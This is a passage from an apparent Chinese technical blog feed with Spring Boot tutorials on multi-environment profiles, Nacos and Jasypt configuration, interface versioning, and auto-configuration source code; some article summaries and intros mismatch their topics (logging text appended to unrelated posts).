class="string">$&#123;DB_PASSWORD&#125;</span></span><br><span class="line">    <span class="attr">hikari:</span></span><br><span class="line">      <span class="attr">maximum-pool-size:</span> <span class="number">50</span></span><br><span class="line">      <span class="attr">minimum-idle:</span> <span class="number">10</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">host:</span> <span class="string">prod-redis</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">6379</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">$&#123;REDIS_PASSWORD&#125;</span></span><br><span class="line">    <span class="attr">lettuce:</span></span><br><span class="line">      <span class="attr">pool:</span></span><br><span class="line">        <span class="attr">max-active:</span> <span class="number">50</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 生产环境关闭详细日志</span></span><br><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">root:</span> <span class="string">WARN</span></span><br><span class="line">    <span class="attr">com.example:</span> <span class="string">INFO</span></span><br></pre></td></tr></table></figure><h2 id="2-激活-Profile"><a href="#2-激活-Profile" class="headerlink" title="2. 激活 Profile"></a>2. 激活 Profile</h2><p>#</p><h2 id="方式1：配置文件"><a href="#方式1：配置文件" class="headerlink" title="方式1：配置文件"></a>方式1：配置文件</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">prod</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="方式2：启动参数"><a href="#方式2：启动参数" class="headerlink" title="方式2：启动参数"></a>方式2：启动参数</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>#</p><h2 id="方式3：环境变量"><a href="#方式3：环境变量" class="headerlink" title="方式3：环境变量"></a>方式3：环境变量</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> SPRING_PROFILES_ACTIVE=prod</span><br><span class="line">java -jar app.jar</span><br></pre></td></tr></table></figure><p>#</p><h2 id="方式4：JVM-参数"><a href="#方式4：JVM-参数" class="headerlink" title="方式4：JVM 参数"></a>方式4：JVM 参数</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -Dspring.profiles.active=prod -jar app.jar</span><br></pre></td></tr></table></figure><p>#</p><h2 id="方式5：Maven-打包时"><a href="#方式5：Maven-打包时" class="headerlink" title="方式5：Maven 打包时"></a>方式5：Maven 打包时</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">profiles</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">profile</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>dev<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">activation</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">activeByDefault</span>&gt;</span>true<span class="tag">&lt;/<span class="name">activeByDefault</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">activation</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">spring.profiles.active</span>&gt;</span>dev<span class="tag">&lt;/<span class="name">spring.profiles.active</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">profile</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">profile</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>prod<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">spring.profiles.active</span>&gt;</span>prod<span class="tag">&lt;/<span class="name">spring.profiles.active</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">profile</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">profiles</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mvn clean package -Pprod</span><br></pre></td></tr></table></figure><h2 id="3-Profile-注解"><a href="#3-Profile-注解" class="headerlink" title="3. @Profile 注解"></a>3. @Profile 注解</h2><p>#</p><h2 id="Bean-级别控制"><a href="#Bean-级别控制" class="headerlink" title="Bean 级别控制"></a>Bean 级别控制</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataSourceConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@Profile(&quot;dev&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> DataSource <span class="title function_">devDataSource</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">HikariConfig</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HikariConfig</span>();</span><br><span class="line">        config.setJdbcUrl(<span class="string">&quot;jdbc:h2:mem:testdb&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">HikariDataSource</span>(config);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@Profile(&quot;prod&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> DataSource <span class="title function_">prodDataSource</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">HikariConfig</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HikariConfig</span>();</span><br><span class="line">        config.setJdbcUrl(<span class="string">&quot;jdbc:mysql://prod:3306/db&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">HikariDataSource</span>(config);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="配置类级别控制"><a href="#配置类级别控制" class="headerlink" title="配置类级别控制"></a>配置类级别控制</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Profile(&quot;dev&quot;)</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DevConfig</span> &#123;</span><br><span class="line">    <span class="comment">// 只在 dev 环境生效</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Profile(&quot;!prod&quot;)</span>  <span class="comment">// 非 prod 环境生效</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NonProdConfig</span> &#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Profile(&#123;&quot;dev&quot;, &quot;test&quot;&#125;)</span>  <span class="comment">// 多个 profile</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DevTestConfig</span> &#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="4-多-Profile-组合"><a href="#4-多-Profile-组合" class="headerlink" title="4. 多 Profile 组合"></a>4. 多 Profile 组合</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">prod,swagger</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application-swagger.yml</span></span><br><span class="line"><span class="attr">springdoc:</span></span><br><span class="line">  <span class="attr">api-docs:</span></span><br><span class="line">    <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">swagger-ui:</span></span><br><span class="line">    <span class="attr">enabled:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><h2 id="5-配置优先级"><a href="#5-配置优先级" class="headerlink" title="5. 配置优先级"></a>5. 配置优先级</h2><p>Spring Boot 配置的优先级（从高到低）：</p><ol><li>命令行参数：<code>--server.port=9000</code></li><li>JVM 系统属性：<code>-Dserver.port=9000</code></li><li>环境变量：<code>SERVER_PORT=9000</code></li><li><code>application-{profile}.yml</code></li><li><code>application.yml</code></li><li><code>@PropertySource</code></li><li>默认值</li></ol><h2 id="6-配置中心（Nacos）"><a href="#6-配置中心（Nacos）" class="headerlink" title="6. 配置中心（Nacos）"></a>6. 配置中心（Nacos）</h2><p>#</p><h2 id="引入依赖"><a href="#引入依赖" class="headerlink" title="引入依赖"></a>引入依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.alibaba.cloud<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-cloud-starter-alibaba-nacos-config<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="bootstrap-yml"><a href="#bootstrap-yml" class="headerlink" title="bootstrap.yml"></a>bootstrap.yml</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">application:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">my-service</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line">  <span class="attr">cloud:</span></span><br><span class="line">    <span class="attr">nacos:</span></span><br><span class="line">      <span class="attr">config:</span></span><br><span class="line">        <span class="attr">server-addr:</span> <span class="string">localhost:8848</span></span><br><span class="line">        <span class="attr">namespace:</span> <span class="string">dev</span></span><br><span class="line">        <span class="attr">group:</span> <span class="string">DEFAULT_GROUP</span></span><br><span class="line">        <span class="attr">file-extension:</span> <span class="string">yaml</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="Nacos-配置"><a href="#Nacos-配置" class="headerlink" title="Nacos 配置"></a>Nacos 配置</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Data ID: my-service-dev.yaml</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://localhost:3306/dev_db</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">root</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">root</span></span><br></pre></td></tr></table></figure><h2 id="7-敏感配置加密"><a href="#7-敏感配置加密" class="headerlink" title="7. 敏感配置加密"></a>7. 敏感配置加密</h2><p>#</p><h2 id="Jasypt"><a href="#Jasypt" class="headerlink" title="Jasypt"></a>Jasypt</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.github.ulisesbocchio<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>jasypt-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.0.5<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">jasypt:</span></span><br><span class="line">  <span class="attr">encryptor:</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">$&#123;JASYPT_PASSWORD&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">ENC(encrypted_password_here)</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 加密</span></span><br><span class="line">java -<span class="built_in">cp</span> jasypt.jar org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI \</span><br><span class="line">    input=<span class="string">&quot;real_password&quot;</span> password=<span class="string">&quot;secret_key&quot;</span> algorithm=PBEWITHHMACSHA512ANDAES_256</span><br></pre></td></tr></table></figure><h2 id="8-配置验证"><a href="#8-配置验证" class="headerlink" title="8. 配置验证"></a>8. 配置验证</h2><p>#</p><h2 id="Validated-ConfigurationProperties"><a href="#Validated-ConfigurationProperties" class="headerlink" title="@Validated + @ConfigurationProperties"></a>@Validated + @ConfigurationProperties</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@ConfigurationProperties(prefix = &quot;app&quot;)</span></span><br><span class="line"><span class="meta">@Validated</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AppProperties</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank</span></span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Min(1)</span></span><br><span class="line">    <span class="meta">@Max(100)</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">threadPoolSize</span> <span class="operator">=</span> <span class="number">10</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// getter/setter</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">app:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">my-app</span></span><br><span class="line">  <span class="attr">thread-pool-size:</span> <span class="number">20</span></span><br></pre></td></tr></table></figure><h2 id="9-配置热更新"><a href="#9-配置热更新" class="headerlink" title="9. 配置热更新"></a>9. 配置热更新</h2><p>#</p><h2 id="RefreshScope（Spring-Cloud）"><a href="#RefreshScope（Spring-Cloud）" class="headerlink" title="@RefreshScope（Spring Cloud）"></a>@RefreshScope（Spring Cloud）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RefreshScope</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConfigController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Value(&quot;$&#123;app.message:default&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String message;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@GetMapping(&quot;/message&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getMessage</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> message;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 刷新配置（无需重启）</span></span><br><span class="line">curl -X POST http://localhost:8080/actuator/refresh</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><table><thead><tr><th>实践</th><th>说明</th></tr></thead><tbody><tr><td>默认配置</td><td>application.yml 放公共、不变的配置</td></tr><tr><td>环境配置</td><td>application-{env}.yml 放环境相关的配置</td></tr><tr><td>敏感信息</td><td>使用环境变量或配置中心，不要硬编码</td></tr><tr><td>加密</td><td>密码等敏感配置使用 Jasypt 加密</td></tr><tr><td>验证</td><td>使用 @Validated 验证配置项</td></tr><tr><td>文档</td><td>给 @ConfigurationProperties 字段加注释</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>方式</th><th>适用场景</th></tr></thead><tbody><tr><td>Profile 文件</td><td>简单项目，配置不复杂</td></tr><tr><td>@Profile</td><td>Bean 级别控制</td></tr><tr><td>启动参数</td><td>临时切换环境</td></tr><tr><td>配置中心</td><td>微服务，配置集中管理</td></tr><tr><td>环境变量</td><td>容器化部署，敏感配置</td></tr></tbody></table><p>合理管理多环境配置，是保证应用在不同环境稳定运行的基础。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口版本管理和灰度发布思路</title>
      <link href="//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/"/>
      <url>//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="接口版本管理和灰度发布思路"><a href="#接口版本管理和灰度发布思路" class="headerlink" title="接口版本管理和灰度发布思路"></a>接口版本管理和灰度发布思路</h1><p>接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot自动配置源码解析</title>
      <link href="//springboot-zi-dong-pei-zhi-yuan-ma-jie-xi/"/>
      <url>//springboot-zi-dong-pei-zhi-yuan-ma-jie-xi/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot自动配置源码解析"><a href="#SpringBoot自动配置源码解析" class="headerlink" title="SpringBoot自动配置源码解析"></a>SpringBoot自动配置源码解析</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="入口：-SpringBootApplication"><a href="#入口：-SpringBootApplication" class="headerlink" title="入口：@SpringBootApplication"></a>入口：@SpringBootApplication</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Target(ElementType.TYPE)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Documented</span></span><br><span class="line"><span class="meta">@Inherited</span></span><br><span class="line"><span class="meta">@SpringBootConfiguration</span></span><br><span class="line"><span class="meta">@EnableAutoConfiguration</span></span><br><span class="line"><span class="meta">@ComponentScan(excludeFilters = &#123;</span></span><br><span class="line"><span class="meta">    @Filter(type = FilterType.CUSTOM, classes = TypeExcludeFilter.class),</span></span><br><span class="line"><span class="meta">    @Filter(type = FilterType.CUSTOM, classes = AutoConfigurationExcludeFilter.class)</span></span><br><span class="line"><span class="meta">&#125;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> SpringBootApplication &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>三个核心注解</strong>：</p><ol><li><code>@SpringBootConfiguration</code>：标记配置类</li><li><code>@EnableAutoConfiguration</code>：启用自动配置</li><li><code>@ComponentScan</code>：组件扫描</li></ol><h2 id="EnableAutoConfiguration-解析"><a href="#EnableAutoConfiguration-解析" class="headerlink" title="@EnableAutoConfiguration 解析"></a>@EnableAutoConfiguration 解析</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Target(ElementType.TYPE)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Documented</span></span><br><span class="line"><span class="meta">@Inherited</span></span><br><span class="line"><span class="meta">@AutoConfigurationPackage</span></span><br><span class="line"><span class="meta">@Import(AutoConfigurationImportSelector.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> EnableAutoConfiguration &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">ENABLED_OVERRIDE_PROPERTY</span> <span class="operator">=</span> <span class="string">&quot;spring.boot.enableautoconfiguration&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>关键</strong>：<code>@Import(AutoConfigurationImportSelector.class)</code></p><h2 id="AutoConfigurationImportSelector"><a href="#AutoConfigurationImportSelector" class="headerlink" title="AutoConfigurationImportSelector"></a>AutoConfigurationImportSelector</h2><p>#</p><h2 id="类结构"><a href="#类结构" class="headerlink" title="类结构"></a>类结构</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AutoConfigurationImportSelector</span> <span class="keyword">implements</span> </span><br><span class="line">        <span class="title class_">DeferredImportSelector</span>,           <span class="comment">// 延迟导入，在@Configuration处理完后执行</span></span><br><span class="line">        BeanClassLoaderAware,</span><br><span class="line">        ResourceLoaderAware,</span><br><span class="line">        BeanFactoryAware,</span><br><span class="line">        EnvironmentAware,</span><br><span class="line">        Ordered &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String[] selectImports(AnnotationMetadata annotationMetadata) &#123;</span><br><span class="line">        <span class="comment">// 检查是否禁用自动配置</span></span><br><span class="line">        <span class="keyword">if</span> (!isEnabled(annotationMetadata)) &#123;</span><br><span class="line">            <span class="keyword">return</span> NO_IMPORTS;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取自动配置条目</span></span><br><span class="line">        <span class="type">AutoConfigurationEntry</span> <span class="variable">autoConfigurationEntry</span> <span class="operator">=</span> </span><br><span class="line">            getAutoConfigurationEntry(annotationMetadata);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> StringUtils.toStringArray(autoConfigurationEntry.getConfigurations());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="getAutoConfigurationEntry"><a href="#getAutoConfigurationEntry" class="headerlink" title="getAutoConfigurationEntry"></a>getAutoConfigurationEntry</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">protected</span> AutoConfigurationEntry <span class="title function_">getAutoConfigurationEntry</span><span class="params">(AnnotationMetadata metadata)</span> &#123;</span><br><span class="line">    <span class="comment">// 1. 检查是否禁用</span></span><br><span class="line">    <span class="keyword">if</span> (!isEnabled(metadata)) &#123;</span><br><span class="line">        <span class="keyword">return</span> EMPTY_ENTRY;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 获取注解属性</span></span><br><span class="line">    <span class="type">AnnotationAttributes</span> <span class="variable">attributes</span> <span class="operator">=</span> getAttributes(metadata);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 3. 获取候选配置列表</span></span><br><span class="line">    List&lt;String&gt; configurations = getCandidateConfigurations(metadata, attributes);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 4. 去重</span></span><br><span class="line">    configurations = removeDuplicates(configurations);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 5. 获取排除项</span></span><br><span class="line">    Set&lt;String&gt; exclusions = getExclusions(metadata, attributes);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 6. 检查排除项合法性</span></span><br><span class="line">    checkExcludedClasses(configurations, exclusions);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 7. 移除排除项</span></span><br><span class="line">    configurations.removeAll(exclusions);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 8. 按条件过滤（核心）</span></span><br><span class="line">    configurations = getConfigurationClassFilter().filter(configurations);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 9. 触发自动配置导入事件</span></span><br><span class="line">    fireAutoConfigurationImportEvents(configurations, exclusions);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">AutoConfigurationEntry</span>(configurations, exclusions);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="getCandidateConfigurations"><a href="#getCandidateConfigurations" class="headerlink" title="getCandidateConfigurations"></a>getCandidateConfigurations</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">protected</span> List&lt;String&gt; <span class="title function_">getCandidateConfigurations</span><span class="params">(AnnotationMetadata metadata, </span></span><br><span class="line"><span class="params">                                                   AnnotationAttributes attributes)</span> &#123;</span><br><span class="line">    <span class="comment">// 从 META-INF/spring.factories 加载</span></span><br><span class="line">    List&lt;String&gt; configurations = SpringFactoriesLoader.loadFactoryNames(</span><br><span class="line">        getSpringFactoriesLoaderFactoryClass(), getBeanClassLoader());</span><br><span class="line">    </span><br><span class="line">    Assert.notEmpty(configurations,</span><br><span class="line">        <span class="string">&quot;No auto configuration classes found in META-INF/spring.factories. &quot;</span> +</span><br><span class="line">        <span class="string">&quot;If you are using a custom packaging, make sure that file is correct.&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> configurations;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">protected</span> Class&lt;?&gt; getSpringFactoriesLoaderFactoryClass() &#123;</span><br><span class="line">    <span class="keyword">return</span> EnableAutoConfiguration.class;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="SpringFactoriesLoader"><a href="#SpringFactoriesLoader" class="headerlink" title="SpringFactoriesLoader"></a>SpringFactoriesLoader</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">SpringFactoriesLoader</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">FACTORIES_RESOURCE_LOCATION</span> <span class="operator">=</span> <span class="string">&quot;META-INF/spring.factories&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> List&lt;String&gt; <span class="title function_">loadFactoryNames</span><span class="params">(Class&lt;?&gt; factoryType, ClassLoader classLoader)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">factoryTypeName</span> <span class="operator">=</span> factoryType.getName();</span><br><span class="line">        <span class="keyword">return</span> loadSpringFactories(classLoader).getOrDefault(factoryTypeName, Collections.emptyList());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> Map&lt;String, List&lt;String&gt;&gt; <span class="title function_">loadSpringFactories</span><span class="params">(ClassLoader classLoader)</span> &#123;</span><br><span class="line">        Map&lt;String, List&lt;String&gt;&gt; result = cache.get(classLoader);</span><br><span class="line">        <span class="keyword">if</span> (result != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> result;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        result = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 加载所有 META-INF/spring.factories</span></span><br><span class="line">            Enumeration&lt;URL&gt; urls = classLoader.getResources(FACTORIES_RESOURCE_LOCATION);</span><br><span class="line">            <span class="keyword">while</span> (urls.hasMoreElements()) &#123;</span><br><span class="line">                <span class="type">URL</span> <span class="variable">url</span> <span class="operator">=</span> urls.nextElement();</span><br><span class="line">                <span class="type">UrlResource</span> <span class="variable">resource</span> <span class="operator">=</span> <span class="keyword">new</span> <span 